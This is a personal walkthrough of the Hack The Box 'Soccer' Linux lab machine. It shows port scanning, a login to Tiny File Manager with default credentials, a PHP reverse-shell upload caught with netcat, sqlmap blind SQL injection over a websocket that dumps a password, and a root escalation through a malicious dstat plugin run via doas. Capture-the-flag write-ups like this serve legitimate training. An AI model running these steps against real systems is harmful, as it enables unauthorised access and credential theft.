#hackthebox #linux #easy
![[Pasted image 20250810153839.png]]
# Information Gathering - Nmap
As usual, I began with scanning all TCP ports.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -Pn -n --open --min-rate 3000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 17:14 UTC
Nmap scan report for 10.10.11.194
Host is up (0.049s latency).
Not shown: 64668 closed tcp ports (reset), 864 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
Nmap done: 1 IP address (1 host up) scanned in 17.47 seconds
```
Then I scanned the open ports again with `-sC`, `-sV` options
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sCV -p 22,80,9091
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 17:16 UTC
Nmap scan report for 10.10.11.194
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Sun, 10 Aug 2025 17:17:00 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sun, 10 Aug 2025 17:17:01 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.95%I=7%D=8/10%Time=6898D407%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Sun,\x2010\x20Aug\x202025\x2017:17:00\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Sun,\x2010\x20Aug\x202025\x2017:17:01\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sun,\
SF:x2010\x20Aug\x202025\x2017:17:01\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.36 seconds
```
Then I scanned top 10 UDP ports.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sU --top-ports 10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 17:20 UTC
Nmap scan report for 10.10.11.194
Host is up (0.049s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp open|filtered dhcps
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
161/udp closed snmp
445/udp closed microsoft-ds
631/udp closed ipp
1434/udp open|filtered ms-sql-m
Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds
```
---
# Enumeration
The output of Nmap says it did now follow redirect to `http://soccer.htb` for the page on port 80.
```bash
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
```
I mapped the IP address and the domain by adding them in `/etc/hosts` file.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "10.10.11.194 soccer.htb" | sudo tee -a /etc/hosts
[sudo] password for kali:
10.10.11.194 soccer.htb
```
##### HTTP - TCP 80
This is the landing page of the website on port 80. It's just a plain website without any links. Nothing stood out to me.
![[Pasted image 20250810122342.png]]
Because the landing page didn't contain much information, I ran `gobuster` to enumerate directories and I found `/tiny`.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
```
I navigated to `/tiny` and there was a login form. I think the server is powered by `H3K Tiny File Manager`.
![[Pasted image 20250810122656.png]]
I searched for `Tiny File Manager default credentials` and found this from the official Tiny File Manager documentation.
![[Pasted image 20250810123055.png]]
I tried the default credentials `admin:admin@123` and I was able to log in. It also reveals the version `2.4.3`
![[Pasted image 20250810122859.png]]
I found an upload feature on the File Manager, so I'm going to try file upload attack manually. It even kindly tells us the destination folder.
![[Pasted image 20250810123735.png]]
I intercepted the traffic of uploading a file called `crab.png` and I first tried changing the name of the file extension to `.php` and it was accepted.
![[Pasted image 20250810123953.png]]
Then I replaced the PNG file with a simple php payload and it was still accepted by the server.
![[Pasted image 20250810124149.png]]
Since I know where it's saved, I'm going to navigate to the path and see if we can perform command execution.
Looks like it's an RCE.
![[Pasted image 20250810124544.png]]
However, I noticed the file gets deleted after a few minutes, so I need to move fast to get a steady reverse shell out of that.
On the same Burp repeater, I replaced the existing payload with the famous `php-reverse-shell` by `Pentest Monkey` and renamed the file as `revshell.php`
![[Pasted image 20250810125128.png]]
Verified the reverse shell payload is uploaded.
![[Pasted image 20250810125010.png]]
Got the initial access as `www-data`
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.194] 54158
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
17:50:23 up 36 min, 0 users, load average: 0.00, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```
# Privilege Escalation - Shell as `player`
I found `user.txt` in `/home/player` but we the current user `www-data` doesn't have privileges to read the file.
```bash
www-data@soccer:/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Nov 17 2022 .
drwxr-xr-x 21 root root 4096 Dec 1 2022 ..
drwxr-xr-x 3 player player 4096 Nov 28 2022 player
www-data@soccer:/home$ cd player
www-data@soccer:/home/player$ ls
user.txt
www-data@soccer:/home/player$ cat user.txt
cat: user.txt: Permission denied
```
I found an unusual binary file that has a SUID bit set: `/usr/local/bin/doas`.
```bash
www-data@soccer:~/html/tiny/uploads$ find / -type f -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/at
/snap/snapd/17883/usr/lib/snapd/snap-confine
/snap/core20/1695/usr/bin/chfn
/snap/core20/1695/usr/bin/chsh
/snap/core20/1695/usr/bin/gpasswd
/snap/core20/1695/usr/bin/mount
/snap/core20/1695/usr/bin/newgrp
/snap/core20/1695/usr/bin/passwd
/snap/core20/1695/usr/bin/su
/snap/core20/1695/usr/bin/sudo
/snap/core20/1695/usr/bin/umount
/snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1695/usr/lib/openssh/ssh-keysign
```
I didn't know what this was, so I looked it up on Google. Apparently, `doas` is used to assume the identity of another user on the system just like `sudo`
![[Pasted image 20250810131547.png]]
The config file wasn't present in `/etc/doas.conf` but it was in `/usr/local/etc`. I noticed the config file is only allowing `player` to run commands. I guess I found this file too early haha I'll come back to this later but for now I need to privesc to `player` first.
```bash
www-data@soccer:/usr/local/etc$ cat doas.conf
permit nopass player as root cmd /usr/bin/dstat
```
`/etc/nginx/sites-enabled` has two files. Let's see how they are configured.
```bash
www-data@soccer:/etc/nginx/sites-enabled$ ls
default soc-player.htb
```
In `default`, as you can see whenever a request is received it redirects to `http://soccer.htb`
```bash
www-data@soccer:/etc/nginx/sites-enabled$ cat default
server {
listen 80;
listen [::]:80;
server_name 0.0.0.0;
return 301 http://soccer.htb$request_uri;
}
server {
listen 80;
listen [::]:80;
server_name soccer.htb;
root /var/www/html;
index index.html tinyfilemanager.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
location ~ /\.ht {
deny all;
}
}
```
`soc-player.htb` is very interesting because it's a service running locally on port 3000.
Basically, if an outside user makes a request to `soc-plyaer.soccer.htb`, `Nginx` receives the request and forwards the request to the service running on `localhost:3000`.
```bash
www-data@soccer:/etc/nginx/sites-enabled$ cat soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
```
Alright I think we got a valuable hint from the file. Let's add `soc-player.soccer.htb` in our `/etc/hosts` file and visit the page.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ cat /etc/hosts | grep soc
10.10.11.194 soccer.htb soc-player.soccer.htb
```
It looks exactly the same site as `soccer.htb` but if you see the navbar, there are tabs that didn't exist on `soccer.htb`: `Match`, `Login`, and `Signup`
![[Pasted image 20250810135137.png]]
I registered on the signup page and it directed me to `Tickets` page.
![[Pasted image 20250810135638.png]]
It shows my ticket ID is 82398. When I type in my ticket ID, it returns `Ticket Exists`
![[Pasted image 20250810141935.png]]
When I type random values, it returns `Ticket Doesn't Exist`
![[Pasted image 20250810141952.png]]
However, when I attempted `SQL Injecttion` queries, it returned `Ticket Exists`.
![[Pasted image 20250810142023.png]]
I intercepted the request on Burp and it turns out it's a `websocket`.
![[Pasted image 20250810142839.png]]
Since we verified it's vulnerable to `SQLi`, I'm going to use `sqlamp` to exploit the websocket. First we are going to save this request as a file by right-clicking burp and selecting `Copy to file`. I named my file `soccer.req`.
![[Pasted image 20250810143158.png]]
`sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --technique=B` command will run the sqlmap against the websocket with `Boolean injection` technique.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch
___
__H__
___ ___[,]_____ ___ ___ {1.9.6#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:36:11 /2025-08-10/
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[19:36:12] [INFO] testing connection to the target URL
[19:36:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:36:15] [INFO] testing if the target URL content is stable
[19:36:15] [INFO] target URL content is stable
[19:36:15] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[19:36:16] [WARNING] (custom) POST parameter 'JSON #1*' does not appear to be dynamic
[19:36:16] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[19:36:16] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[19:36:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:36:17] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[19:36:17] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:36:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:36:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[19:36:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[19:36:21] [INFO] testing 'Generic inline queries'
[19:36:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[19:36:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[19:36:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[19:36:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:36:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
```
And it found the following injection point.
```bash
sqlmap identified the following injection point(s) with a total of 103 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: {"id":"-1781 OR 2915=2915"}
---
```
Then I ran `sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --technique=B --dbs --threads 10` command to enumerate database info.
We found 5 databases including `soccer_db`.
```bash
[19:57:23] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[19:57:23] [INFO] fetching database names
[19:57:23] [INFO] fetching number of databases
[19:57:23] [INFO] retrieved: 5
[19:57:25] [INFO] retrieving the length of query output
[19:57:25] [INFO] retrieved: 5
[19:57:27] [INFO] retrieved: mysql
[19:57:27] [INFO] retrieving the length of query output
[19:57:27] [INFO] retrieved: 18
[19:57:33] [INFO] retrieved: information_schema
[19:57:33] [INFO] retrieving the length of query output
[19:57:33] [INFO] retrieved: 18
[19:57:38] [INFO] retrieved: performance_schema
[19:57:38] [INFO] retrieving the length of query output
[19:57:38] [INFO] retrieved: 3
[19:57:41] [INFO] retrieved: sys
[19:57:41] [INFO] retrieving the length of query output
[19:57:41] [INFO] retrieved: 9
[19:57:44] [INFO] retrieved: soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
```
Now it's time to enumerate tables inside `soccer_db`
`sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --technique=B -D soccer_db --tables
```bash
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
```
Then I enumerated for `columns`. I could just moved on to dump the whole DB at this point, but I wanted to do this step-by-step.
There are `email`, `id`, `password`, and `username` columns inside `accounts` table.
```bash
sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --technique=B --threads 10 -D soccer_db -T accounts --columns
Database: soccer_db
Table: accounts
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email | varchar(40) |
| id | int |
| password | varchar(40) |
| username | varchar(40) |
+----------+-------------+
```
Finally, after checking all the information, I dumped the DB and found a single entry.
```bash
sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --batch --risk 3 --level 5 --technique=B --threads 10 -D soccer_db -T accounts --dump
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 |
[email protected] | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
```
Now with this information, I can go back to the shell and login as `player`.
```bash
www-data@soccer:/etc/nginx/sites-enabled$ su player
Password:
player@soccer:/etc/nginx/sites-enabled$ whoami
player
player@soccer:/etc/nginx/sites-enabled$ id
uid=1001(player) gid=1001(player) groups=1001(player)
```
Now I can read the `user.txt` file in `/home/player`
```bash
player@soccer:~$ cat user.txt
62d...
```
# Privilege Escalation - shell as `root`
Remember that earlier I found `/usr/local/bin/doas` has SUID bit set. Also, I found that `doas.conf` file specifies that the user `player` can run `/usr/bin/dstat` as `root`.
```bash
player@soccer:/usr/local/etc$ cat doas.conf
permit nopass player as root cmd /usr/bin/dstat
```
We can read, write, and execute in `/usr/local/share/dstat` directory.
```bash
player@soccer:/usr/local/share$ ls -la
total 24
drwxr-xr-x 6 root root 4096 Nov 17 2022 .
drwxr-xr-x 10 root root 4096 Nov 15 2022 ..
drwxr-xr-x 2 root root 4096 Nov 15 2022 ca-certificates
drwxrwx--- 2 root player 4096 Aug 10 20:12 dstat
drwxrwsr-x 2 root staff 4096 Nov 17 2022 fonts
drwxr-xr-x 5 root root 4096 Nov 17 2022 man
```
So, I'm going to create a simple python file, since `dstat` runs python, and run the `dstat` as `root` privilege. For the file to be recognized by `dstat`, you have to prepend your file name with `dstat_[filename]` in `/usr/local/share/dstat` directory.
```bash
player@soccer:/usr/local/share/dstat$ vi dstat_wook.py
player@soccer:/usr/local/share/dstat$ cat dstat_wook.py
import os
os.execv("/bin/bash", ["sh"])
```
`dstat --list` reveals my file `wook` at the bottom.
```bash
player@soccer:/usr/local/share/dstat$ dstat --list
internal:
aio,
cpu,
cpu-adv,
cpu-use,
cpu24,
...
<SNIP>
/usr/share/dstat:
battery,
battery-remain,
condor-queue,
...
<SNIP>
/usr/local/share/dstat:
wook
```
`doas /usr/bin/dstat --wook` runs the code and got me a shell as `root`.
```bash
player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --wook
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
sh-5.0# whoami
root
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
```
Found `root.txt`
```bash
sh-5.0# cd /root
sh-5.0# ls
app root.txt run.sql snap
sh-5.0# cat root.txt
2f6...
```